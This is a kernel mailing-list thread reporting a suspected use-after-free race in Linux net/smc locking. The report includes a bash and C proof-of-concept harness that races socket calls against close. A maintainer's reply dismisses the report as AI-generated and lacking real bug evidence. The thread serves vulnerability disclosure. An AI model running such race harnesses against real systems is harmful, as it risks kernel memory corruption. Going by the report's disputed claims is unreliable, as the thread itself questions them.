* [net/smc] clcsock_release_lock not held on fallback poll/sendmsg/... (follow-up to 64a6b36b)
@ 2026-10-18 14:47 tikipiya0531
2026-10-19 7:56 ` Dust Li
0 siblings, 1 reply; 2+ messages in thread
From: tikipiya0531 @ 2026-10-18 14:47 UTC (permalink / raw)
To: alibuda@linux.alibaba.com, dust.li@linux.alibaba.com,
sidraya@linux.ibm.com, mjambigi@linux.ibm.com
Cc: linux-s390@vger.kernel.org, linux-rdma@vger.kernel.org
[-- Attachment #1.1: Type: text/plain, Size: 2208 bytes --]
Hello,
Please find the full write-up attached as report-en.md (same content
summarized below for quick triage).
Summary
-------
Commit 64a6b36b0e18 ("net/smc: protect clcsock lifetime in smc_getname")
added clcsock_release_lock around smc_getname() because link-group teardown
can call smc_clcsock_release() while the SMC socket is still open. The same
unlocked smc->clcsock access pattern still exists on several other paths that
touch the CLC socket in fallback mode (and in SOCK_DIAG fill), without holding
clcsock_release_lock.
I am not claiming a reliable exploit on current mainline; I am asking for a
small hardening sweep similar to 64a6b36b and c0bf3d8a943b.
Attachment
----------
- report-en.md — detailed description, affected paths, CVSS notes, and a
self-contained PoC script (bash + embedded C sources).
Affected versions
-----------------
- Verified on kernel.org tree: v7.3-rc7-245-g32c52ec87d62 (commit 32c52ec87d62).
- Related history: b03faa1fafc8, c0bf3d8a943b, 64a6b36b (getname only).
- git log 64a6b36b..HEAD -- net/smc shows no follow-up for the paths below.
Problem
-------
smc_clcsock_release() takes clcsock_release_lock before clearing smc->clcsock.
Any operation that reads smc->clcsock and calls through clcsock->ops without
that mutex can race with smc_close_active_abort() / link-group termination.
Unlocked paths on the tree above include fallback smc_sendmsg, smc_recvmsg,
smc_poll (two sites), smc_ioctl, smc_shutdown, smc_splice_read, and
smc_diag_msg_common_fill() in smc_diag.c. See the attachment for line-level
detail.
Reproducer
----------
Status: no KASAN hit on my tests on 32c52ec87d62 (KASAN x86_64, CONFIG_SMC=m).
The PoC harness is in report-en.md (shell script section); I can also paste it
inline in a follow-up if you prefer mail without attachments.
Conditions
----------
- CONFIG_INET_SMC / CONFIG_SMC; local AF_SMC user; fallback or SOCK_DIAG;
race timing; not remote unauthenticated.
Suggested fix
-------------
Hold clcsock_release_lock across each fallback clcsock->ops call, as in
smc_getname(). RFC-style patch available on request as [PATCH].
Mitigation: disable CONFIG_SMC where unused.
Thanks,
<Sotaro Dohaku>
<tikisan0531@proton.me>
[-- Attachment #1.2: Type: text/html, Size: 3511 bytes --]
[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #2: report-en.md --]
[-- Type: text/markdown; name=report-en.md, Size: 23730 bytes --]
# Use After Free via SMC `clcsock` fallback and SOCK_DIAG paths
---
## Metadata
| Field | Value |
|------|-----|
| **Severity** | Medium |
| **CVSS Score** | 5.9 / 10 (`CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N`) |
| **Package** | Linux kernel — subsystem `net/smc` (`CONFIG_INET_SMC` / module `smc.ko`) |
| **Affected** | Kernels with commit `64a6b36b0e18` (“protect clcsock lifetime in smc_getname”) **or earlier** clcsock lifetime work (`b03faa1fafc8`), where fallback `poll` / `sendmsg` / `recvmsg` / `ioctl` / `shutdown` / `splice_read` and `smc_diag_msg_common_fill()` still dereference `smc->clcsock` without `clcsock_release_lock`. Verified on `v7.3-rc7-245-g32c52ec87d62` (2026-10-18). |
| **Patched** | **Partial:** `smc_getname()` in `64a6b36b` only. **No upstream follow-up** for the remaining paths at time of writing. |
| **CVE ID** | *(none assigned)* |
| **CWE** | CWE-416 (Use After Free), CWE-667 (Improper Locking) |
---
**Version exercised in testing:** Linux `v7.3-rc7-245-g32c52ec87d62`, KASAN-enabled `x86_64` build, `CONFIG_SMC=m`, `CONFIG_SMC_DIAG=m`, loopback SMC fallback to TCP `:9000` and optional SMCD listener on `:9001` after UEID registration.
## Summary
The SMC (Shared Memory Communications) socket family keeps an internal TCP “CLC” child socket (`smc->clcsock`) while the outward-facing `AF_SMC` socket stays open. Link-group teardown can run asynchronously: `smc_close_active_abort()` eventually calls `smc_clcsock_release()`, which takes `clcsock_release_lock`, nulls `smc->clcsock`, and frees the child. Any syscall that reads `smc->clcsock` without that mutex can race with release and touch freed memory or follow a NULL pointer.
Commit `64a6b36b0e18` fixed this for `getsockname()` only. The same pattern was already applied years earlier to `setsockopt` / `getsockopt` / fallback switch (`c0bf3d8a943b`). What remains is a fairly obvious spread of **unlocked** `clcsock` use on the **fallback** code path (`smc->use_fallback`) and in `smc_diag_msg_common_fill()` when dumping socket state over `SOCK_DIAG`.
This is not a remote, unauthenticated wire attack. You need a local process able to open `AF_SMC` sockets and hit the fallback or diag paths while teardown is in flight. On many setups SMC never comes up at all (`CONFIG_SMC` off, no RDMA/SMC-D infrastructure), and those machines never execute the buggy instructions. Where SMC **is** loaded—common on s390/Linux-on-Z and some enterprise images—the bug class is kernel memory corruption with local trigger, which is why we still care even though reproducing KASAN on a stock tree is awkward.
Worth separating from the original `getname` report: the maintainer’s KASAN trace used **test-only timing instrumentation** in the fix submission. Our user-space races (thousands of iterations on fallback `poll`/`ioctl`/`shutdown` parallel to `close`, plus SMCD scenarios after UEID setup) did **not** fire KASAN on the tested tree. That does **not** disprove the static defect; it means exploitability is likely timing-sensitive and may need hardware or in-kernel hooks to demonstrate the same slab UAF the author saw on `smc_getname`.
## Affected configuration
All of the following matter:
1. **Kernel built with SMC** (`CONFIG_INET_SMC` / `CONFIG_SMC`), module or built-in, and the attacker can create `socket(AF_SMC, SOCK_STREAM, …)` (normally any unprivileged user with `NET` capability in their user namespace, i.e. default init user namespace).
2. **Code path reaches `smc->clcsock` on fallback or diag** while `smc_clcsock_release()` can run on another context (workqueue / link-group termination). Fallback is the usual QEMU/laptop case when SMC-D handshake cannot complete: a TCP listener on loopback (our PoC uses `:9000`) is enough—no RDMA card required.
3. **Parallel operations** on the same SMC fd (or diag dump against a dying socket): e.g. child process spinning on `poll(2)` / `ioctl(SIOCINQ)` / `shutdown()` while the parent closes the fd or drives `shutdown(SHUT_WR)` to pull link-group teardown (the scenario described in the `64a6b36b` commit message).
**Out of scope / not required:**
- Remote attacker without local code execution.
- Non-fallback SMC data plane (`smc_tx_sendmsg` / `smc_rx_recvmsg`)—those paths do not walk `clcsock->ops` the same way.
- Systems with SMC disabled entirely.
SMCD (true SMC over RDMA) tightens the real-world impact on Z boxes but our loopback fallback reproducer is enough to exercise the **same mutex gap** in `af_smc.c`.
## Impact
- **Integrity / availability (kernel):** Classic slab UAF or NULL deref in `net/smc`. Successful corruption can yield local privilege escalation in principle; we did not ship a stable EoP chain.
- **Confidentiality:** Limited direct leak; scored `VC:L` in CVSS because the primitive is corrupt-on-use, not an info disclosure API.
- **What a single syscall cannot do:** It cannot bypass the need for a winning race or an already-dying link group; you cannot trigger this from a mere SYN to a closed port without the victim process holding an SMC socket.
### CVSS 4.0 rationale
| Metric | Choice | Notes |
|--------|--------|-------|
| AV:L | Local | Attacker runs the racing process. |
| AC:H | High | Window is narrow; stock PoC did not reliably trip KASAN. |
| PR:L | Low | Normal user can open sockets. |
| VI:H / VA:H | High | Kernel memory corruption potential. |
| VC:L | Low | Not primarily an info leak. |
Vector: `CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N` → **5.9 (Medium)** via [FIRST CVSS v4.0 calculator](https://www.first.org/cvss/calculator/4.0).
## Technical detail
### Lifetime model (short)
`struct smc_sock` owns `struct socket *clcsock`. Release is centralized in `smc_clcsock_release()` (`net/smc/smc_close.c`), which always takes `mutex_lock(&smc->clcsock_release_lock)` before clearing the pointer and calling `sock_release()`.
`smc_close_active_abort()`—used when a link group ends while the SMC socket is still open (e.g. after `shutdown(SHUT_WR)` per the `64a6b36b` description)—can invoke that release path while another task is inside a socket op.
### What `64a6b36b` fixed
`smc_getname()` now holds `clcsock_release_lock` from the NULL check through `clcsock->ops->getname()`. KASAN stack from the commit (abridged):
```
BUG: KASAN: slab-use-after-free in smc_getname
Freed by: smc_clcsock_release -> smc_close_active_abort -> __smc_lgr_terminate
```
### What remains
| Location | Function | Lock around `clcsock`? |
|----------|----------|-------------------------|
| `af_smc.c` ~2829 | `smc_sendmsg` (fallback) | No — only `lock_sock(sk)` |
| `af_smc.c` ~2865 | `smc_recvmsg` (fallback) | No |
| `af_smc.c` ~2901, ~2917 | `smc_poll` (fallback branches) | No |
| `af_smc.c` ~3214 | `smc_ioctl` (fallback) | No — checks `!clcsock` once |
| `af_smc.c` | `smc_shutdown` / `smc_splice_read` (fallback) | No |
| `af_smc.c` ~115 | `smc_set_keepalive` | No (secondary) |
| `smc_diag.c` ~42 | `smc_diag_msg_common_fill` | No |
Historical context: `c0bf3d8a943b` (2022) added `clcsock_release_lock` to `setsockopt`, `getsockopt`, and `smc_switch_to_fallback`. **`poll` was explicitly left unlocked** and still is.
`git log 64a6b36b..HEAD -- net/smc` on the tested tree shows **no** follow-up mutex sweep.
### Why `lock_sock(sk)` is insufficient
Fallback ops take the SMC socket’s `lock_sock` but release runs under `clcsock_release_lock` without holding the SMC lock across the entire `ops->poll` / `sendmsg` delegation. The failing pattern is: load `smc->clcsock`, preemption/teardown clears and frees, then dereference `clcsock->ops`.
### `smc_inet_destroy_sock` nuance
`smc_inet_destroy_sock()` unhashes before `smc_clcsock_release()` so diag dumps are less likely to see a half-dead socket during **final** destroy (`smc_inet.c` comment). That does not serialize **live** fallback `poll` against `smc_close_active_abort()` on an still-open fd.
### Suggested fix direction
Mirror `64a6b36b` everywhere fallback touches `clcsock`, and hold the mutex in `smc_diag_msg_common_fill()` (or stop reading `clcsock` without the socket lock). Minimal pattern:
```c
mutex_lock(&smc->clcsock_release_lock);
if (!smc->clcsock) {
mutex_unlock(&smc->clcsock_release_lock);
return -EBADF; /* or EPOLLHUP for poll */
}
/* use smc->clcsock */
mutex_unlock(&smc->clcsock_release_lock);
```
### Testing notes from downstream QA (2026-10-18)
Roughly **3500+** scripted races on KASAN `x86_64` QEMU (fallback stress, 16× parallel `poll`, `sendmsg`∥`close`, `ioctl`, `shutdown`, `splice_read`, `SOCK_DIAG` dump∥`close`, SMCD with UEID, `rmmod smc` while polling): **no KASAN hits**. Regress with **reverted** `smc_getname` mutex on SMCD (800 iterations) also stayed clean without in-kernel delays.
Treat dynamic results as **negative evidence**, not as “safe by design.”
## Proof of concept
The script below is self-contained: it writes C sources to a temp directory, builds helpers, starts a TCP acceptor on port 9000 (SMC fallback target), optionally registers a UEID for SMCD tests on 9001, runs parallel `poll` and `ioctl` races against `close`, and scans `dmesg` for KASAN/BUG lines.
**What it proves:** Exercises the **unlocked** fallback ops against aggressive `close()`—the same class fixed for `getname` in `64a6b36b`. A KASAN report is **not guaranteed** on an already-patched `getname` tree; for a smoking gun on `getname`, build a kernel **without** `64a6b36b` or apply the author’s timing hooks from the original patch thread.
**Requirements:** `gcc`, `root` (for `dmesg`, module load), `smc.ko` + `ib_core.ko` compatible with running kernel, kernel headers providing `linux/smc.h` for UEID genetlink (script skips UEID if headers missing). `AF_SMC` is 43 on Linux.
**Expected output (clean run):** Lines like `SMC poll/close races completed=500/500` and `dmesg: no KASAN/BUG smc lines in tail scan` with exit 0. A finding would look like `BUG: KASAN: slab-use-after-free in smc_poll` (or `smc_ioctl`, etc.).
```bash
#!/usr/bin/env bash
# SMC clcsock lifetime — standalone repro harness
set -euo pipefail
ROUNDS_POLL="${ROUNDS_POLL:-500}"
ROUNDS_IOCTL="${ROUNDS_IOCTL:-300}"
TCP_PORT="${TCP_PORT:-9000}"
SMC_PORT="${SMC_PORT:-9001}"
WORKDIR="${WORKDIR:-/tmp/smc-clcsock-poc-$$}"
WITH_UEID="${WITH_UEID:-1}"
if [[ "$(id -u)" -ne 0 ]]; then
echo "run as root (need insmod/dmesg)" >&2
exit 1
fi
mkdir -p "$WORKDIR"
cd "$WORKDIR"
trap 'kill $(jobs -p) 2>/dev/null || true; wait 2>/dev/null || true' EXIT
write_tcp_accept() {
cat > tcp_accept_loop.c <<'EOF'
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
int main(void) {
struct sockaddr_in sin = {
.sin_family = AF_INET,
.sin_port = htons(9000),
.sin_addr.s_addr = htonl(INADDR_ANY),
};
int lfd, cfd, one = 1;
lfd = socket(AF_INET, SOCK_STREAM, 0);
if (lfd < 0) { perror("socket"); return 1; }
setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
if (bind(lfd, (struct sockaddr *)&sin, sizeof(sin)) < 0) { perror("bind"); return 1; }
if (listen(lfd, 128) < 0) { perror("listen"); return 1; }
for (;;) {
cfd = accept(lfd, NULL, NULL);
if (cfd < 0) { if (errno == EINTR) continue; perror("accept"); continue; }
close(cfd);
}
}
EOF
}
write_smc_poll_race() {
cat > smc_poll_close_race.c <<'EOF'
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <poll.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#ifndef AF_SMC
#define AF_SMC 43
#endif
static int smc_connect(struct sockaddr_in *sin) {
int fd = socket(AF_SMC, SOCK_STREAM, 0);
if (fd < 0) return -1;
if (connect(fd, (struct sockaddr *)sin, sizeof(*sin)) < 0) { close(fd); return -1; }
return fd;
}
static void poll_child(int fd) {
struct pollfd pfd = { .fd = fd, .events = POLLIN | POLLOUT | POLLERR };
for (;;) poll(&pfd, 1, 0);
}
int main(int argc, char **argv) {
struct sockaddr_in sin = {
.sin_family = AF_INET,
.sin_port = htons(9000),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
};
int i, rounds = argc > 1 ? atoi(argv[1]) : 500;
int port = argc > 2 ? atoi(argv[2]) : 9000;
int fd, pid, ok = 0;
sin.sin_port = htons(port);
for (i = 0; i < rounds; i++) {
fd = smc_connect(&sin);
if (fd < 0) { fprintf(stderr, "connect: %s\n", strerror(errno)); break; }
pid = fork();
if (pid < 0) { perror("fork"); close(fd); break; }
if (pid == 0) poll_child(fd);
usleep(100);
close(fd);
kill(pid, SIGKILL);
waitpid(pid, NULL, 0);
ok++;
usleep(500);
}
printf("SMC poll/close races completed=%d/%d\n", ok, rounds);
return ok == rounds ? 0 : 3;
}
EOF
}
write_smc_ioctl_race() {
cat > smc_ioctl_close_race.c <<'EOF'
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#ifndef AF_SMC
#define AF_SMC 43
#endif
static int smc_connect(struct sockaddr_in *sin) {
int fd = socket(AF_SMC, SOCK_STREAM, 0);
if (fd < 0) return -1;
if (connect(fd, (struct sockaddr *)sin, sizeof(*sin)) < 0) { close(fd); return -1; }
return fd;
}
static void hammer_ioctl(int fd) {
int v;
for (;;) ioctl(fd, SIOCINQ, &v);
}
int main(int argc, char **argv) {
struct sockaddr_in sin = {
.sin_family = AF_INET,
.sin_port = htons(9000),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
};
int rounds = argc > 1 ? atoi(argv[1]) : 300;
int port = argc > 2 ? atoi(argv[2]) : 9000;
int i, fd, pid, ok = 0;
sin.sin_port = htons(port);
for (i = 0; i < rounds; i++) {
fd = smc_connect(&sin);
if (fd < 0) break;
pid = fork();
if (pid < 0) { close(fd); break; }
if (pid == 0) hammer_ioctl(fd);
usleep(50);
close(fd);
kill(pid, SIGKILL);
waitpid(pid, NULL, 0);
ok++;
usleep(1000);
}
printf("smc_ioctl_close races ok=%d/%d\n", ok, rounds);
return ok == rounds ? 0 : 3;
}
EOF
}
write_smc_getname_race() {
cat > smc_getname_close_race.c <<'EOF'
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <poll.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#ifndef AF_SMC
#define AF_SMC 43
#endif
static int smc_connect(struct sockaddr_in *sin) {
int fd = socket(AF_SMC, SOCK_STREAM, 0);
if (fd < 0) return -1;
if (connect(fd, (struct sockaddr *)sin, sizeof(*sin)) < 0) { close(fd); return -1; }
return fd;
}
static void hammer_getname(int fd) {
struct sockaddr_storage addr;
socklen_t len = sizeof(addr);
for (;;) getsockname(fd, (struct sockaddr *)&addr, &len);
}
static void hammer_poll(int fd) {
struct pollfd pfd = { .fd = fd, .events = POLLIN | POLLOUT };
for (;;) poll(&pfd, 1, 0);
}
int main(int argc, char **argv) {
const char *mode = argc > 1 ? argv[1] : "poll";
int rounds = argc > 2 ? atoi(argv[2]) : 200;
int port = argc > 3 ? atoi(argv[3]) : 9000;
struct sockaddr_in sin = {
.sin_family = AF_INET,
.sin_port = htons(9000),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
};
int i, fd, pid, ok = 0;
sin.sin_port = htons(port);
for (i = 0; i < rounds; i++) {
fd = smc_connect(&sin);
if (fd < 0) { fprintf(stderr, "connect[%d]: %s\n", i, strerror(errno)); break; }
pid = fork();
if (pid < 0) { perror("fork"); close(fd); break; }
if (pid == 0) {
if (!strcmp(mode, "getname")) hammer_getname(fd);
else hammer_poll(fd);
}
usleep(50);
shutdown(fd, SHUT_WR);
usleep(50);
close(fd);
kill(pid, SIGKILL);
waitpid(pid, NULL, 0);
ok++;
}
printf("smc_%s_close races ok=%d/%d mode=%s port=%d\n", mode, ok, rounds, mode, port);
return ok == rounds ? 0 : 3;
}
EOF
}
write_ueid_tool() {
cat > smc_ueid_setup.c <<'EOF'
#define _GNU_SOURCE
#include <errno.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>
#include <linux/smc.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#define SMC_TEST_UEID "SMC-BPFTEST-UEID"
struct msgtemplate { struct nlmsghdr n; struct genlmsghdr g; char buf[1024]; };
#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
static int send_cmd(int fd, __u16 nlmsg_type, __u32 nlmsg_pid, __u16 nlmsg_flags,
__u8 genl_cmd, __u16 nla_type, void *nla_data, int nla_len) {
struct nlattr *na;
struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK };
struct msgtemplate msg = {0};
char *buf; int r, buflen;
msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
msg.n.nlmsg_type = nlmsg_type; msg.n.nlmsg_flags = nlmsg_flags; msg.n.nlmsg_pid = nlmsg_pid;
msg.g.cmd = genl_cmd; msg.g.version = 1;
na = (struct nlattr *)GENLMSG_DATA(&msg);
na->nla_type = nla_type; na->nla_len = NLA_HDRLEN + nla_len;
memcpy(NLA_DATA(na), nla_data, nla_len);
msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
buf = (char *)&msg; buflen = msg.n.nlmsg_len;
while ((r = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr))) < buflen) {
if (r > 0) { buf += r; buflen -= r; } else if (errno != EAGAIN) return -1;
}
return 0;
}
static int get_family_id(int fd, __u32 pid) {
struct msgtemplate msg; struct nlattr *nl; int ret;
if (send_cmd(fd, GENL_ID_CTRL, pid, NLM_F_REQUEST, CTRL_CMD_GETFAMILY,
CTRL_ATTR_FAMILY_NAME, (void *)SMC_GENL_FAMILY_NAME,
strlen(SMC_GENL_FAMILY_NAME) + 1) < 0) return -1;
ret = recv(fd, &msg, sizeof(msg), 0);
if (ret < 0 || !NLMSG_OK(&msg.n, ret) || msg.n.nlmsg_type == NLMSG_ERROR) return -1;
nl = (struct nlattr *)GENLMSG_DATA(&msg);
nl = (struct nlattr *)((char *)nl + NLA_ALIGN(nl->nla_len));
if (nl->nla_type != CTRL_ATTR_FAMILY_ID) return -1;
return *(int *)NLA_DATA(nl);
}
static int ueid_op(int op) {
char ueid[SMC_MAX_EID_LEN + 1];
struct msgtemplate msg; struct nlmsgerr *err;
struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK };
int fd, fam, ret; __u32 pid = getpid();
memset(ueid, ' ', SMC_MAX_EID_LEN); ueid[SMC_MAX_EID_LEN] = '\0';
memcpy(ueid, SMC_TEST_UEID, strlen(SMC_TEST_UEID));
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd < 0) return -1;
nladdr.nl_pid = pid;
if (bind(fd, (struct sockaddr *)&nladdr, sizeof(nladdr)) < 0) goto fail;
fam = get_family_id(fd, pid);
if (fam < 0) goto fail;
if (send_cmd(fd, fam, pid, NLM_F_REQUEST | NLM_F_ACK, op,
SMC_NLA_EID_TABLE_ENTRY, ueid, SMC_MAX_EID_LEN + 1) < 0) goto fail;
ret = recv(fd, &msg, sizeof(msg), 0);
if (ret < 0 || !NLMSG_OK(&msg.n, ret)) goto fail;
if (msg.n.nlmsg_type == NLMSG_ERROR) {
err = NLMSG_DATA(&msg);
if (op == SMC_NETLINK_REMOVE_UEID && err->error == -ENOENT) { close(fd); return 0; }
if (err->error) goto fail;
}
close(fd); return 0;
fail: close(fd); return -1;
}
int main(int argc, char **argv) {
const char *cmd = argc > 1 ? argv[1] : "add";
if (!strcmp(cmd, "add")) {
if (ueid_op(SMC_NETLINK_ADD_UEID) == 0) { printf("UEID added (%s)\n", SMC_TEST_UEID); return 0; }
perror("UEID add"); return 1;
}
if (!strcmp(cmd, "del")) {
if (ueid_op(SMC_NETLINK_REMOVE_UEID) == 0) { printf("UEID removed\n"); return 0; }
perror("UEID remove"); return 1;
}
fprintf(stderr, "usage: %s [add|del]\n", argv[0]); return 2;
}
EOF
}
write_smc_accept() {
cat > smc_accept_loop.c <<'EOF'
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#ifndef AF_SMC
#define AF_SMC 43
#endif
int main(void) {
struct sockaddr_in sin = {
.sin_family = AF_INET,
.sin_port = htons(9001),
.sin_addr.s_addr = htonl(INADDR_ANY),
};
int lfd, cfd, one = 1, pid;
lfd = socket(AF_SMC, SOCK_STREAM, 0);
if (lfd < 0) { perror("socket(AF_SMC)"); return 1; }
setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
if (bind(lfd, (struct sockaddr *)&sin, sizeof(sin)) < 0) { perror("bind"); return 1; }
if (listen(lfd, 32) < 0) { perror("listen"); return 1; }
for (;;) {
cfd = accept(lfd, NULL, NULL);
if (cfd < 0) { if (errno == EINTR) continue; perror("accept"); continue; }
pid = fork();
if (pid < 0) { close(cfd); continue; }
if (pid == 0) { close(lfd); for (;;) pause(); }
close(cfd);
waitpid(pid, NULL, WNOHANG);
}
}
EOF
}
load_smc_modules() {
if lsmod | grep -q '^smc '; then
echo "smc already loaded"
return 0
fi
for mod in ib_core smc; do
if modprobe "$mod" 2>/dev/null; then continue; fi
echo "modprobe $mod failed; set SMC_KO_PATH to directory with .ko files" >&2
if [[ -n "${SMC_KO_PATH:-}" ]]; then
insmod "${SMC_KO_PATH}/ib_core.ko" 2>/dev/null || true
insmod "${SMC_KO_PATH}/smc.ko" || exit 1
else
exit 1
fi
done
}
write_tcp_accept
sed -i "s/htons(9000)/htons(${TCP_PORT})/" tcp_accept_loop.c
write_smc_poll_race
write_smc_ioctl_race
write_smc_getname_race
write_ueid_tool
write_smc_accept
gcc -O2 -Wall -o tcp_accept_loop tcp_accept_loop.c
gcc -O2 -Wall -o smc_poll_close_race smc_poll_close_race.c
gcc -O2 -Wall -o smc_ioctl_close_race smc_ioctl_close_race.c
gcc -O2 -Wall -o smc_getname_close_race smc_getname_close_race.c
if gcc -O2 -Wall -o smc_ueid_setup smc_ueid_setup.c 2>/dev/null; then
HAVE_UEID=1
else
echo "warning: smc_ueid_setup build failed (install kernel headers); SMCD tests skipped"
HAVE_UEID=0
fi
gcc -O2 -Wall -o smc_accept_loop smc_accept_loop.c 2>/dev/null || true
load_smc_modules
ip link set lo up 2>/dev/null || true
./tcp_accept_loop &
TCP_PID=$!
sleep 0.5
if [[ "$HAVE_UEID" == "1" && "$WITH_UEID" == "1" ]]; then
./smc_ueid_setup add || true
if [[ -x ./smc_accept_loop ]]; then
./smc_accept_loop &
SMC_PID=$!
sleep 0.5
fi
fi
echo "=== fallback poll race (unlocked smc_poll path) ==="
./smc_poll_close_race "$ROUNDS_POLL" "$TCP_PORT"
echo "=== fallback ioctl race ==="
./smc_ioctl_close_race "$ROUNDS_IOCTL" "$TCP_PORT"
echo "=== getname/poll with SHUT_WR (closer to lgr abort) ==="
./smc_getname_close_race poll 150 "$TCP_PORT"
./smc_getname_close_race getname 150 "$TCP_PORT"
if [[ -n "${SMC_PID:-}" ]]; then
echo "=== SMCD port poll/getname (9001) ==="
./smc_poll_close_race 80 "$SMC_PORT" || true
./smc_getname_close_race poll 80 "$SMC_PORT" || true
fi
echo "=== dmesg scan ==="
if dmesg | tail -200 | grep -E 'KASAN|BUG:.*smc_' ; then
echo "FAIL: kernel reported KASAN/BUG (see above)"
exit 2
fi
echo "dmesg: no KASAN/BUG smc lines in tail scan (race may still be latent)"
kill "$TCP_PID" 2>/dev/null || true
[[ -n "${SMC_PID:-}" ]] && kill "$SMC_PID" 2>/dev/null || true
echo "OK: harness finished"
exit 0
```
## Remediation
- **Upstream:** Extend `clcsock_release_lock` to every fallback delegation and to `smc_diag_msg_common_fill()`, matching `smc_getname` / `c0bf3d8a` style.
- **Vendors:** Backport the lateral mutex sweep when cherry-picking `64a6b36b`; picking getname alone leaves `poll` and friends exposed.
- **Operators:** If you do not use SMC, disabling `CONFIG_SMC` removes the attack surface; this is mitigation, not a substitute for the code fix.
## References
- Upstream fix (partial): `64a6b36b0e18` — https://patch.msgid.link/20261008084444.787449-1-nicoyip.dev@gmail.com
- Prior locking: `c0bf3d8a943b` (`setsockopt` / `getsockopt` / fallback switch)
- Clcsock lifetime introduction: `b03faa1fafc8`
- CWE-416: https://cwe.mitre.org/data/definitions/416.html
- CWE-667: https://cwe.mitre.org/data/definitions/667.html
- Linux kernel security reporting: https://docs.kernel.org/process/security-bugs.html
^ permalink raw reply [flat|nested] 2+ messages in thread
* Re: [net/smc] clcsock_release_lock not held on fallback poll/sendmsg/... (follow-up to 64a6b36b)
2026-10-18 14:47 [net/smc] clcsock_release_lock not held on fallback poll/sendmsg/... (follow-up to 64a6b36b) tikipiya0531
@ 2026-10-19 7:56 ` Dust Li
0 siblings, 0 replies; 2+ messages in thread
From: Dust Li @ 2026-10-19 7:56 UTC (permalink / raw)
To: tikipiya0531, alibuda@linux.alibaba.com, sidraya@linux.ibm.com,
mjambigi@linux.ibm.com
Cc: linux-s390@vger.kernel.org, linux-rdma@vger.kernel.org
On 2026-10-18 14:47:41, tikipiya0531 wrote:
>Hello,
>
>Please find the full write-up attached as report-en.md (same content
>summarized below for quick triage).
>
>Summary
>-------
>Commit 64a6b36b0e18 ("net/smc: protect clcsock lifetime in smc_getname")
>added clcsock_release_lock around smc_getname() because link-group teardown
>can call smc_clcsock_release() while the SMC socket is still open. The same
>unlocked smc->clcsock access pattern still exists on several other paths that
>touch the CLC socket in fallback mode (and in SOCK_DIAG fill), without holding
>clcsock_release_lock.
>
>I am not claiming a reliable exploit on current mainline; I am asking for a
>small hardening sweep similar to 64a6b36b and c0bf3d8a943b.
Hi tikipiya0531,
If you are asking for a patch, please send a patch with real bug evidence
in the commit message.
The report you sent looks like a mess of AI-generated things without your
understanding.
Best regards,
Dust
^ permalink raw reply [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-10-19 7:56 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-18 14:47 [net/smc] clcsock_release_lock not held on fallback poll/sendmsg/... (follow-up to 64a6b36b) tikipiya0531
2026-10-19 7:56 ` Dust Li
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox